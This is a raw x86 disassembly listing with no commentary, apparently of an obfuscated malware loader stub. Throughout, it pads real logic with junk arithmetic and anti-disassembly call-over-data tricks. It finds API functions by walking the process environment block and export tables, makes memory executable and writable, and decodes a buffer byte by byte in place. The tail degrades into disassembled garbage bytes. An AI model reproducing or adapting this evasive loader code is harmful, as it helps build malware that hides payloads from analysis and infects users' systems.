movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4073db
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40748d
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x40748d
push eax
xor eax, 0x10dfd
call 0x40741d
add byte [ecx + 0x46], cl
dec esi
dec edi
dec eax
inc edx
cmp eax, 0x4c4834c
or eax, 0xdf3c
jmp 0x40742d
pop eax
push ecx
push edi
add esp, 4
and ecx, 0x114b1
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x40747f
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x407486
jmp 0x4073cc
jmp 0x40748d
push edi
push ebx
add esp, 4
and edi, 0x13320
pop edi
push ecx
push ecx
add esp, 4
jmp 0x4074a4
jmp 0x4074ac
or ecx, 0x5225
pop ecx
push edx
push ecx
add esp, 4
sub edx, 0x16e8f
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4074ec
mov dword [ebp - 0xc5c], 0
jmp 0x40755b
push edi
push esi
add esp, 4
jmp 0x4074f9
jmp 0x4074ff
or edi, 0x17f5b
xor edi, 0x16816
pop edi
push ecx
push ebx
add esp, 4
sub ecx, 0x171f
add ecx, 0x8e03
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x407551
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x40755b
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x407572
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x407583
jmp 0x40735c
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40765e
push esi
and esi, 0x116c2
or esi, 0xc265
jmp 0x4075a3
add esi, 0x9d92
pop esi
push edi
push edi
add esp, 4
xor edi, 0x12d81
and edi, 0x107bc
sub edi, 0x29da
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ecx
push edx
add esp, 4
sub ecx, 0xa7a0
pop ecx
push esi
or esi, 0x4c59
xor esi, 0xa507
pop esi
push edi
push edi
add esp, 4
xor edi, 0x113d4
and edi, 0x5ed1
or edi, 0x9710
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x40765e
push eax
push ebx
add esp, 4
xor eax, 0x10b9f
xor eax, 0x7e15
xor eax, 0xb9ad
pop eax
push ebx
push eax
add esp, 4
add ebx, 0x1c6c
sub ebx, 0x4ed3
pop ebx
push edi
and edi, 0xe095
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x407d49
push esi
and esi, 0x11a8c
or esi, 0x1572d
sub esi, 0x13366
and esi, 0xdd1f
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0xd600
xor ebx, 0xc29a
or ebx, 0x16ef7
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
and ebx, 0x627d
xor ebx, 0x4f0
pop ebx
push edx
push eax
add esp, 4
xor edx, 0x5f9b
pop edx
push edi
push ebx
add esp, 4
sub edi, 0x1c9d
xor edi, 0x1465b
jmp 0x4076e9
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x407702
mov dword [ebp - 0x2a8], 0
jmp 0x4079a9
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push ebx
add esp, 4
sub edx, 0xe7aa
jmp 0x407724
xor edx, 0x168e4
pop edx
push ecx
and ecx, 0xf169
xor ecx, 0x156a7
jmp 0x40773f
xor ecx, 0xd3af
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x40775e
mov dword [ebp - 0x2a8], 0
jmp 0x4079a9
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
or edx, 0x12fc1
pop edx
push ebx
push ecx
add esp, 4
sub ebx, 0x1304
xor ebx, 0x9343
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x16b84
pop esi
push edx
push esi
add esp, 4
sub edx, 0xcbe8
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
xor edx, 0x172d1
or edx, 0x133a2
xor edx, 0x3940
sub edx, 0x593d
pop edx
push ebx
push edx
add esp, 4
sub ebx, 0x2c19
add ebx, 0x111c0
sub ebx, 0x53c5
pop ebx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
call 0x40785d
add byte [ebx + 0x41], al
dec esp
aas
cmp al, byte [edi + 0x42]
add esp, 4
sub esi, 0xff6c
sub esi, 0xdef5
add esi, 0x9b1a
pop esi
push edi
and edi, 0x7134
xor edi, 0xf1a0
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x40789e
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4078f8
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x4077c6
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x4077c6
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4078e2
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4078ec
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x407941
push eax
jmp 0x407909
pop eax
push eax
push ecx
add esp, 4
add eax, 0xb123
jmp 0x40791e
or eax, 0x105dd
pop eax
push eax
and eax, 0x14583
add eax, 0xdbd9
pop eax
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x4079a9
push eax
push eax
add esp, 4
sub eax, 0x7781
pop eax
push ebx
xor ebx, 0x17827
pop ebx
push esi
push esi
add esp, 4
or esi, 0xe4eb
or esi, 0xd152
pop esi
push ebx
push ecx
add esp, 4
or ebx, 0xe5f2
pop ebx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x40799f
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x40776a
mov dword [ebp - 0x2a8], 0
push edx
push esi
add esp, 4
or edx, 0x7713
sub edx, 0x11933
and edx, 0xe96c
add edx, 0xe36e
pop edx
push ebx
add ebx, 0x6b5d
and ebx, 0x3e8c
add ebx, 0x146e6
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
or edi, 0x2c7f
call 0x4079ff
add byte [esi], bh
dec ebp
inc esi
inc esp
inc ebx
inc ebx
xor al, byte ds:[ebx - 0x307efb3c]
fnsave dword [ebx]
add dword [eax], eax
pop edi
push edx
and edx, 0x1607e
jmp 0x407a15
or edx, 0x16f2b
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x407a4c
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d3d
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x407a74
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d3d
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x407aa6
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x407d3d
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x407acb
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x407d3d
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x407b25
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x407d31
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x407b95
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407c47
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x407c47
push ecx
push edx
add esp, 4
jmp 0x407bce
pop ecx
push eax
push esi
add esp, 4
add eax, 0x17287
xor eax, 0x1522b
pop eax
push ecx
push eax
add esp, 4
sub ecx, 0x1115
jmp 0x407bf3
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x407c39
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x407c40
jmp 0x407b86
jmp 0x407c47
push esi
add esi, 0xe2a5
and esi, 0x677a
call 0x407c63
add byte [eax], bh
inc ecx
inc edi
cmp byte [ebp + esi + 0x41], cl
dec ebp
xor eax, dword [ebx + 0x525e04c4]
push edi
add esp, 4
xor edx, 0x4f4f
and edx, 0xca56
pop edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x407ca6
mov dword [ebp - 0xc6c], 0
jmp 0x407d15
push ecx
xor ecx, 0x13869
jmp 0x407cb6
pop ecx
push edx
push ebx
add esp, 4
call 0x407cc8
add byte [edi + 0x49], cl
pop es
add byte [eax], al
add byte [eax], al
dec edi
dec ecx
cmp byte [esi + 0x43], al
xor al, 0x83
les eax, [ecx + eax*4]
loop 0x407cbd
xchg esi, eax
add byte [eax], al
or edx, 0x135f8
pop edx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x407d0b
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x407d15
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x407d2c
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x407d3d
jmp 0x407b16
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
push edi
add esp, 4
or eax, 0x12855
and eax, 0x1669b
and eax, 0x611e
pop eax
push edi
add edi, 0x14e16
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0x1445d
add ecx, 0x2569
pop ecx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x407dee
push eax
xor eax, 0x117e5
xor eax, 0x1303f
pop eax
push eax
push eax
add esp, 4
xor eax, 0x1853c
pop eax
push esi
push esi
add esp, 4
xor esi, 0xcbbf
or esi, 0x1f70
xor esi, 0x897c
pop esi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x407e0b
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x407e67
push esi
push edx
add esp, 4
call 0x407e2b
add byte [ecx + 0x4e], cl
aas
inc edi
dec eax
aaa
xor al, byte [ebx + 0x505e04c4]
sub eax, 0x6be3
add eax, 0x11106
pop eax
push edx
sub edx, 0x7f20
xor edx, 0x53bc
pop edx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x407dfc
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x407edf
push edi
and edi, 0x14cf5
call 0x407ead
add byte [ecx + 0x43], al
dec ecx
cmp al, 0x50
inc ecx
cmp byte [ebx + 0x3eb04c4], al
cmp eax, 0x5eb3246
xor eax, 0x42474e47
pop edi
push edx
xor edx, 0x378d
xor edx, 0x1536a
pop edx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edx
sub edx, 0xe6cc
jmp 0x407eeb
and edx, 0xa478
pop edx
push edx
add edx, 0x17728
add edx, 0xffb1
call 0x407f0d
add byte [ecx], bh
inc edi
xor dh, byte [edx + ecx*2]
inc esi
dec edi
cmp eax, 0x5a04c483
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop edx
mov dl, cl
inc esp
xor byte [eax], cl
pop es
mov dl, dh
les edx, [ebx]
or byte [edi], al
or edi, dword [edi]
cmp eax, 0xca885643
mov dword [0x62070884], eax
pop esi
pop edx
mov cl, bl
or ecx, dword [eax + 0x7146dd6]
pop es
mov dh, ch
lahf
imul ecx, dword [eax], 0x91ce8807
xor cl, byte [eax]
pop es
sal word [edx + 7], 7
pop es
insd dword es:[edi], dx
nop
pushfd
ret